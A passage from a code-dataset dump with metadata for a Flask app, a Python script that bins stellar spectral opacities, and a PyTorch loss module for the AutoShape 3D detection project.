"usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 73, "usage_type": "call"}, {"api_name": "model.Venue", "line_number": 79, "usage_type": "call"}, {"api_name": "model.db.session.add", "line_number": 92, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 92, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 92, "usage_type": "name"}, {"api_name": "model.db.session.commit", "line_number": 93, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 93, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 93, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 94, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 94, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 94, "usage_type": "name"}, {"api_name": "model.db.session.rollback", "line_number": 96, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 96, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 96, "usage_type": "name"}, {"api_name": "sys.exc_info", "line_number": 97, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 98, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 98, "usage_type": "name"}, {"api_name": "model.db.session.close", "line_number": 100, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 100, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 100, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 101, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 101, "usage_type": "call"}, {"api_name": "model.Venue.query.get", "line_number": 108, "usage_type": "call"}, {"api_name": "model.Venue.query", "line_number": 108, "usage_type": "attribute"}, {"api_name": "model.Venue", "line_number": 108, "usage_type": "name"}, {"api_name": "model.db.session.query", "line_number": 109, "usage_type": "call"}, {"api_name": "model.Show", "line_number": 109, "usage_type": "argument"}, {"api_name": "model.db.session", "line_number": 109, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 109, "usage_type": "name"}, {"api_name": "model.Show.venue_id", "line_number": 109, "usage_type": "attribute"}, {"api_name": "model.db.session.query", "line_number": 113, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 113, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 113, "usage_type": "name"}, {"api_name": "model.Artist.name", "line_number": 113, "usage_type": "attribute"}, {"api_name": "model.Artist", "line_number": 113, "usage_type": "name"}, {"api_name": "model.Artist.image_link", "line_number": 113, "usage_type": "attribute"}, {"api_name": "model.Artist.id", "line_number": 113, "usage_type": "attribute"}, {"api_name": "datetime.now", "line_number": 120, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 142, "usage_type": "call"}, {"api_name": "model.db.session.query", "line_number": 149, "usage_type": "call"}, {"api_name": "model.Venue", "line_number": 149, "usage_type": "argument"}, {"api_name": "model.db.session", "line_number": 149, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 149, "usage_type": "name"}, {"api_name": "model.Venue.name.ilike", "line_number": 149, "usage_type": "call"}, {"api_name": "model.Venue.name", "line_number": 149, "usage_type": "attribute"}, {"api_name": "flask.request.form", "line_number": 149, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 149, "usage_type": "name"}, {"api_name": "model.Show.query.filter", "line_number": 152, "usage_type": "call"}, {"api_name": "model.Show.query", "line_number": 152, "usage_type": "attribute"}, {"api_name": "model.Show", "line_number": 152, "usage_type": "name"}, {"api_name": "model.Show.venue_id", "line_number": 152, "usage_type": "attribute"}, {"api_name": "model.Venue.id", "line_number": 152, "usage_type": "attribute"}, {"api_name": "model.Venue", "line_number": 152, "usage_type": "name"}, {"api_name": "model.Show.start_time", "line_number": 152, "usage_type": "attribute"}, {"api_name": "datetime.now", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 162, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 162, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 162, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 162, "usage_type": "name"}, {"api_name": "model.Venue.query.get_or_404", "line_number": 170, "usage_type": "call"}, {"api_name": "model.Venue.query", "line_number": 170, "usage_type": "attribute"}, {"api_name": "model.Venue", "line_number": 170, "usage_type": "name"}, {"api_name": "model.db.session.delete", "line_number": 171, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 171, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 171, "usage_type": "name"}, {"api_name": "model.db.session.commit", "line_number": 172, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 172, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 172, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 173, "usage_type": "call"}, {"api_name": "model.db.session.rollback", "line_number": 175, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 175, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 175, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 176, "usage_type": "call"}, {"api_name": "model.db.session.close", "line_number": 178, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 178, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 178, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 179, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 179, "usage_type": "call"}, {"api_name": "model.Venue.query.get", "line_number": 186, "usage_type": "call"}, {"api_name": "model.Venue.query", "line_number": 186, "usage_type": "attribute"}, {"api_name": "model.Venue", "line_number": 186, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 188, "usage_type": "call"}, {"api_name": "model.Venue.query.get", "line_number": 192, "usage_type": "call"}, {"api_name": "model.Venue.query", "line_number": 192, "usage_type": "attribute"}, {"api_name": "model.Venue", "line_number": 192, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 193, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 193, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 195, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 196, "usage_type": "call"}, {"api_name": "model.db.session.commit", "line_number": 199, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 199, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 199, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 200, "usage_type": "call"}, {"api_name": "model.db.session.rollback", "line_number": 202, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 202, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 202, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 203, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 204, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 204, "usage_type": "call"}, {"api_name": "model.Artist.query.all", "line_number": 212, "usage_type": "call"}, {"api_name": "model.Artist.query", "line_number": 212, "usage_type": "attribute"}, {"api_name": "model.Artist", "line_number": 212, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 218, "usage_type": "call"}, {"api_name": "model.db.session.query", "line_number": 225, "usage_type": "call"}, {"api_name": "model.Artist", "line_number": 225, "usage_type": "argument"}, {"api_name": "model.db.session", "line_number": 225, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 225, "usage_type": "name"}, {"api_name": "model.Artist.name.ilike", "line_number": 225, "usage_type": "call"}, {"api_name": "model.Artist.name", "line_number": 225, "usage_type": "attribute"}, {"api_name": "flask.request.form", "line_number": 225, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 225, "usage_type": "name"}, {"api_name": "model.Show.query.filter", "line_number": 228, "usage_type": "call"}, {"api_name": "model.Show.query", "line_number": 228, "usage_type": "attribute"}, {"api_name": "model.Show", "line_number": 228, "usage_type": "name"}, {"api_name": "model.Show.artist_id", "line_number": 228, "usage_type": "attribute"}, {"api_name": "model.Artist.id", "line_number": 228, "usage_type": "attribute"}, {"api_name": "model.Artist", "line_number": 228, "usage_type": "name"}, {"api_name": "model.Show.start_time", "line_number": 228, "usage_type": "attribute"}, {"api_name": "datetime.now", "line_number": 228, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 238, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 238, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 238, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 238, "usage_type": "name"}, {"api_name": "model.Artist.query.get", "line_number": 245, "usage_type": "call"}, {"api_name": "model.Artist.query", "line_number": 245, "usage_type": "attribute"}, {"api_name": "model.Artist", "line_number": 245, "usage_type": "name"}, {"api_name": "model.db.session.query", "line_number": 246, "usage_type": "call"}, {"api_name": "model.Show", "line_number": 246, "usage_type": "argument"}, {"api_name": "model.db.session", "line_number": 246, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 246, "usage_type": "name"}, {"api_name": "model.Show.artist_id", "line_number": 246, "usage_type": "attribute"}, {"api_name": "model.db.session.query", "line_number": 250, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 250, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 250, "usage_type": "name"}, {"api_name": "model.Venue.name", "line_number": 250, "usage_type": "attribute"}, {"api_name": "model.Venue", "line_number": 250, "usage_type": "name"}, {"api_name": "model.Venue.image_link", "line_number": 250, "usage_type": "attribute"}, {"api_name": "model.Venue.id", "line_number": 250, "usage_type": "attribute"}, {"api_name": "datetime.now", "line_number": 257, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 260, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 279, "usage_type": "call"}, {"api_name": "model.Artist.query.get", "line_number": 286, "usage_type": "call"}, {"api_name": "model.Artist.query", "line_number": 286, "usage_type": "attribute"}, {"api_name": "model.Artist", "line_number": 286, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 288, "usage_type": "call"}, {"api_name": "model.Artist.query.get", "line_number": 292, "usage_type": "call"}, {"api_name": "model.Artist.query", "line_number": 292, "usage_type": "attribute"}, {"api_name": "model.Artist", "line_number": 292, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 295, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 296, "usage_type": "call"}, {"api_name": "model.db.session.commit", "line_number": 299, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 299, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 299, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 300, "usage_type": "call"}, {"api_name": "model.db.session.rollback", "line_number": 302, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 302, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 302, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 303, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 304, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 304, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 312, "usage_type": "call"}, {"api_name": "model.Artist", "line_number": 318, "usage_type": "call"}, {"api_name": "model.db.session.add", "line_number": 330, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 330, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 330, "usage_type": "name"}, {"api_name": "model.db.session.commit", "line_number": 331, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 331, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 331, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 332, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 332, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 332, "usage_type": "name"}, {"api_name": "model.db.session.rollback", "line_number": 334, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 334, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 334, "usage_type": "name"}, {"api_name": "sys.exc_info", "line_number": 335, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 336, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 336, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 336, "usage_type": "name"}, {"api_name": "model.db.session.close", "line_number": 338, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 338, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 338, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 339, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 339, "usage_type": "call"}, {"api_name": "model.Artist.query.get_or_404", "line_number": 347, "usage_type": "call"}, {"api_name": "model.Artist.query", "line_number": 347, "usage_type": "attribute"}, {"api_name": "model.Artist", "line_number": 347, "usage_type": "name"}, {"api_name": "model.db.session.delete", "line_number": 348, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 348, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 348, "usage_type": "name"}, {"api_name": "model.db.session.commit", "line_number": 349, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 349, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 349, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 350, "usage_type": "call"}, {"api_name": "model.db.session.rollback", "line_number": 352, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 352, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 352, "usage_type": "name"}, {"api_name": "sys.exc_info", "line_number": 353, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 354, "usage_type": "call"}, {"api_name": "model.db.session.close", "line_number": 356, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 356, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 356, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 357, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 357, "usage_type": "call"}, {"api_name": "model.Show.query.all", "line_number": 364, "usage_type": "call"}, {"api_name": "model.Show.query", "line_number": 364, "usage_type": "attribute"}, {"api_name": "model.Show", "line_number": 364, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 375, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 383, "usage_type": "call"}, {"api_name": "model.Show", "line_number": 389, "usage_type": "call"}, {"api_name": "model.db.session.add", "line_number": 394, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 394, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 394, "usage_type": "name"}, {"api_name": "model.db.session.commit", "line_number": 395, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 395, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 395, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 396, "usage_type": "call"}, {"api_name": "model.db.session.rollback", "line_number": 398, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 398, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 398, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 399, "usage_type": "call"}, {"api_name": "model.db.session.close", "line_number": 401, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 401, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 401, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 402, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 402, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 409, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 413, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 416, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 418, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 420, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 421, "usage_type": "attribute"}]}
{"seq_id": "19304402225", "text": "# -*- coding: utf-8 -*-\nimport numpy as np\nimport argparse\nfrom multiprocessing import Pool\nimport sys\nimport glob\nimport copy\n\nparser = argparse.ArgumentParser(description='Sort the spectra.')\nparser.add_argument('bins', type=str, help='File defining the wawelenght bins')\nparser.add_argument('subBins', help='File defining the subBins distribution.')\nparser.add_argument('cpuNumber', type=int, help='Number of CPUs to be used.')\nparser.add_argument('--stromgen', type=bool, default=False, help='Whether to use stromgen segments.')\nparser.add_argument('--suffix', type=str, help='Suffix of the segment files.')\nargs = parser.parse_args()\nif args.stromgen and not args.suffix:\n    parser.error('--suffix can only be used with --stromgen')\n\ntable = []\ndepthList = range(1, len(glob.glob('*.segment')) + 1)\nif args.stromgen:\n    depthList = range(1, len(glob.glob('*.segment_{}'.format(args.suffix))) + 1)\n\ndepthLength = len(str(len(depthList)))\n\nbinData = np.loadtxt(args.bins, ndmin=2)\n\n# get minimum and maximum wawelenghts from the first .segment file\nif args.stromgen:\n    minMax = np.loadtxt(str(depthList[0]).zfill(depthLength) + '.segment_{}'.format(args.suffix))\nelse:\n    minMax = np.loadtxt(str(depthList[0]).zfill(depthLength) + '.segment')\n\nprint(depthList)\n\n\ndef bining(depthList):\n    wawelenghts = [array[0] for array in minMax]\n    minimum = np.min(wawelenghts)\n    maximum = np.max(wawelenghts)\n    print('Minimum: ' + str(minimum))\n    print('Maximum: ' + str(maximum))\n    if (np.min(binData) < minimum) or (np.max(binData) > maximum):\n        print('Bins intervals exceede the available wawelenghts. '\n              'Please check your bins and make sure they are within '\n              'the following limits')\n        print('Minimum: ' + str(minimum) + '\\n')\n        print('Maximum: ' + str(maximum) + '\\n')\n        sys.exit('Check your bins')\n        # check if the bins are within range of wawelenghts\n    p = Pool(args.cpuNumber)\n    p.map(reducing, depthList)\n\n\ndef reducing(currentFile):\n    counter = currentFile\n    if args.stromgen:\n        currentFile = str(currentFile).zfill(depthLength) + '.segment_{}'.format(args.suffix)\n    else:\n        currentFile = str(currentFile).zfill(depthLength) + '.segment'\n    print('Reducing: ' + str(currentFile))\n    data = np.loadtxt(currentFile)  # load the current file to memory\n    start_at = 0\n    global binData\n    for singleBin in binData:  # for each bin\n        test = True\n        tempList = []\n        encounteredBinYet = False\n        if start_at < 0:\n            start_at = 0\n        i = int(start_at)\n        while i < len(data):  # for each data[i] in a segmentFile\n            outsideOfTheBin = True\n            if (data[i][0] + data[i][-1] >= singleBin[0]) and (data[i][0] <= singleBin[1]):  # check if the wawelength of the current data[i] is within the bin, append it\n                if test:\n                    test = False\n                if (data[i][0] + data[i][-1] >= singleBin[0]) and (data[i][0] < singleBin[0]):\n                    tempList.append(np.array([singleBin[0], data[i][1], data[i + 1][0] - singleBin[0]]))\n                else:\n                    tempList.append(np.array(data[i]))\n                outsideOfTheBin = False\n                encounteredBinYet = True\n                if (np.array_equal(data[i], data[-1])):\n                    # if we are on the last line, we must also sort the array\n                    # otherwise it will go unsorted\n                    tempList[-1][-1] = singleBin[1] - tempList[-1][0]\n                    sub_bins(args.subBins, singleBin, tempList, counter)\n            elif (outsideOfTheBin and encounteredBinYet):\n                tempList[-1][-1] = np.float(singleBin[1] - tempList[-1][0])\n                start_at = int(i) - 3\n                sub_bins(args.subBins, singleBin, tempList, counter)\n                break  # once we leave the part of the file containing current\n                # bin, break and go to the next segment file\n            i += 1\n\n\ndef sub_bins(subBinFile, singleBin, tempListList, counter):\n    subBinsBorders = []\n    subBinsBorders_stromgen = []\n    subBins = np.loadtxt(subBinFile)\n    subBinsLength = []\n    bin_length = np.array(tempListList)[:, 2].sum()\n    stretch_factor = 1\n    if args.stromgen:\n        stretch_factor = (singleBin[1] - singleBin[0]) / bin_length\n    for line in subBins:\n        subBinsLength.append((bin_length) * (line[1] - line[0]))\n    # Create list of wavelengths which split the bin into subBins\n    i = 0\n    while i < len(subBinsLength):\n        if i == 0:\n            subBinsBorders_stromgen.append([singleBin[0], singleBin[0] + subBinsLength[0] * stretch_factor])\n            subBinsBorders.append([singleBin[0], singleBin[0] + subBinsLength[0]])\n        else:\n            subBinsBorders_stromgen.append([subBinsBorders_stromgen[i - 1][-1], subBinsBorders_stromgen[i - 1][-1] + subBinsLength[i] * stretch_factor])\n            subBinsBorders.append([subBinsBorders[i - 1][-1], subBinsBorders[i - 1][-1] + subBinsLength[i]])\n        i += 1\n\n    tempListList.sort(key=lambda x: x[1])  # sort by opacities\n\n    deltaLambda = subBinsBorders[0][0]\n    i, j, border_indexes, sub_bin_values = 0, 0, [0], []\n    while i < len(tempListList) - 1:\n        if deltaLambda + tempListList[i][2] > subBinsBorders[j][-1] and j + 1 < len(subBinsBorders):\n            new_deltaLambda = deltaLambda + tempListList[i][2] - subBinsBorders[j][-1]\n            tempListList[i][2] = ((subBinsBorders[j][-1] - deltaLambda))\n            tempListList.insert(i + 1, [tempListList[i][2] + tempListList[i][0], tempListList[i][1], new_deltaLambda])\n            border_indexes.append(i + 1)\n            j += 1\n            deltaLambda = subBinsBorders[j][0]\n        else:\n            deltaLambda += tempListList[i][2]\n        i += 1\n    border_indexes.append(len(tempListList))\n    deltaLambda, beginning = 0, singleBin[0]\n    i = 0\n    j = 0\n    tempListList = np.array(tempListList)\n    for i in range(len(border_indexes) - 1):\n        tempp = np.sum(np.multiply(tempListList[border_indexes[i]:border_indexes[i + 1], 1], tempListList[border_indexes[i]:border_indexes[i + 1], 2])) / subBinsLength[i]\n        sub_bin_values.append([beginning, beginning + np.sum(tempListList[border_indexes[i]:border_indexes[i + 1], -1]), np.float(tempp)])\n        beginning += np.sum(tempListList[border_indexes[i]:border_indexes[i + 1], -1])\n    if args.stromgen:\n        for i, item in enumerate(subBinsBorders_stromgen):\n            sub_bin_values[i][0] = item[0]\n            sub_bin_values[i][1] = item[1]\n        if binData.shape[0] > 1:\n            if np.array_equal(singleBin, binData[0]):\n                sub_bin_values.insert(0, copy.copy(sub_bin_values[0]))\n                sub_bin_values[0][0] -= 20\n                sub_bin_values[0][1] = sub_bin_values[1][0]\n            if np.array_equal(singleBin, binData[-1]):\n                sub_bin_values.append(copy.copy(sub_bin_values[-1]))\n                sub_bin_values[-1][0] = copy.copy(sub_bin_values[-1][1])\n                sub_bin_values[-1][1] = 20 + sub_bin_values[-1][1]\n        else:\n            sub_bin_values.insert(0, copy.copy(sub_bin_values[0]))\n            sub_bin_values[0][0] -= 20\n            sub_bin_values[0][1] = sub_bin_values[1][0]\n            sub_bin_values.append(copy.copy(sub_bin_values[-1]))\n            sub_bin_values[-1][0] = copy.copy(sub_bin_values[-1][1])\n            sub_bin_values[-1][1] = 20 + sub_bin_values[-1][1]\n\n    sub_bin_values = np.array(sub_bin_values)\n    if np.array_equal(singleBin, binData[0]):\n        if args.stromgen:\n            np.savetxt('{}.{}'.format(str(counter), args.suffix), sub_bin_values)\n        else:\n            np.savetxt(str(counter) + '.' + args.bins.split('b')[-1] + '_' + args.subBins.split('s')[-1], sub_bin_values)\n    else:\n        if args.stromgen:\n            f = open('{}.{}'.format(str(counter), args.suffix), 'ab')\n        else:\n            f = open(str(counter) + '.' + args.bins.split('b')[-1] + '_' + args.subBins.split('s')[-1], 'ab')\n        np.savetxt(f, sub_bin_values)\n        f.close()\n\nbining(depthList)\n", "repo_name": "Migelo/AtmosphericParameters", "sub_path": "reduce.py", "file_name": "reduce.py", "file_ext": "py", "file_size_in_byte": 8106, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 9, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 20, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 43, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 49, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 148, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 152, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 153, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 154, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 157, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 160, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 175, "usage_type": "call"}]}
{"seq_id": "2351438594", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport torch\nimport numpy as np\n\nfrom models.losses import FocalLoss, RegL1Loss, RegLoss, RegWeightedL1Loss, BinRotLoss, AutoShape_Position_loss, RegWeightedL1Loss2\nfrom models.utils import _sigmoid\nfrom .base_trainer import BaseTrainer\n\nclass AutoShapeLoss(torch.nn.Module):\n    def __init__(self, opt):\n        super(AutoShapeLoss, self).__init__()\n        self.crit = FocalLoss()\n        self.crit_hm_hp = torch.nn.MSELoss() if opt.mse_loss else FocalLoss()\n        self.crit_kp = RegWeightedL1Loss() if not opt.dense_hp else \\\n            torch.nn.L1Loss(reduction='sum')\n        self.crit_p3d = RegWeightedL1Loss2()\n        self.crit_reg = RegL1Loss() if opt.reg_loss == 'l1' else \\\n            RegLoss() if opt.reg_loss == 'sl1' else None\n        self.crit_rot = BinRotLoss()\n        self.opt = opt\n        is_kitti = False\n        if 'kitti' in opt.dataset: is_kitti = True\n        self.position_loss = AutoShape_Position_loss(opt, is_kitti)\n\n    def forward(self, outputs, batch, phase=None):\n\n        opt = self.opt\n        hm_loss, wh_loss, off_loss = 0, 0, 0\n        hp_loss, off_loss, hm_hp_loss, hp_offset_loss = 0, 0, 0, 0\n        dim_loss, rot_loss, prob_loss = 0, 0, 0\n        p3d_loss = 0\n        coor_loss =0\n        box_score=0\n        output = outputs[0]\n        output['hm'] = _sigmoid(output['hm'])\n        if opt.hm_hp and not opt.mse_loss:\n            output['hm_hp'] = _sigmoid(output['hm_hp'])\n        hm_loss = self.crit(output['hm'], batch['hm'])\n        hp_loss = self.crit_kp(output['hps'],batch['hps_mask'], batch['ind'], batch['hps'],batch['dep'])\n        if opt.wh_weight > 0:\n            wh_loss = self.crit_reg(output['wh'], batch['reg_mask'],batch['ind'], batch['wh'])\n        if opt.dim_weight > 0:\n            dim_loss = self.crit_reg(output['dim'], batch['reg_mask'],batch['ind'], batch['dim'])\n            p3d_loss += self.crit_reg(output['p3d'], batch['reg_mask'],\n                                     batch['ind'], batch['p3d'])\n        if opt.rot_weight > 0:\n            rot_loss = self.crit_rot(output['rot'], batch['rot_mask'], batch['ind'], batch['rotbin'], batch['rotres'])\n        if opt.reg_offset and opt.off_weight > 0:\n            off_loss = self.crit_reg(output['reg'], batch['reg_mask'], batch['ind'], batch['reg'])\n        if opt.reg_hp_offset and opt.off_weight > 0:\n            hp_offset_loss = self.crit_reg(output['hp_offset'], batch['hp_mask'], batch['hp_ind'], batch['hp_offset'])\n        if opt.hm_hp and opt.hm_hp_weight > 0:\n            hm_hp_loss = self.crit_hm_hp(output['hm_hp'], batch['hm_hp'])\n        coor_loss, prob_loss, box_score = self.position_loss(output, batch,phase)\n        loss_stats = {'loss': box_score, 'hm_loss': hm_loss, 'hp_loss': hp_loss,\n                      'hm_hp_loss': hm_hp_loss, 'hp_offset_loss': hp_offset_loss,\n                      'wh_loss': wh_loss, 'off_loss': off_loss, 'dim_loss': dim_loss,\n                      'rot_loss': rot_loss, 'prob_loss': prob_loss, 'box_score': box_score, 'coor_loss': coor_loss,\n                      'p3d_loss': p3d_loss\n                      }\n\n        return loss_stats, loss_stats\n\nclass AutoShapeTrainer(BaseTrainer):\n    def __init__(self, opt, model, optimizer=None):\n        super(AutoShapeTrainer, self).__init__(opt, model, optimizer=optimizer)\n\n    def _get_losses(self, opt):\n        loss_states = ['loss', 'hm_loss', 'hp_loss', 'hm_hp_loss',\n                       'hp_offset_loss', 'wh_loss', 'off_loss', 'dim_loss', 'rot_loss', 'prob_loss', 'coor_loss',\n                       'box_score',\n                       'p3d_loss'\n                       ]\n        loss = AutoShapeLoss(opt)\n        return loss_states, loss\n\n    def debug(self, batch, output, iter_id):\n        pass\n\n    def save_result(self, output, batch, results):\n        pass", "repo_name": "zongdai/AutoShape", "sub_path": "pytorch/src/lib/trains/autoshape.py", "file_name": "autoshape.py", "file_ext": "py", "file_size_in_byte": 3895, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 115, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn", "line_number": 12, "usage_type": "attribute"}, {"api_name": "models.losses.FocalLoss", "line_number": 15, "usage_type": 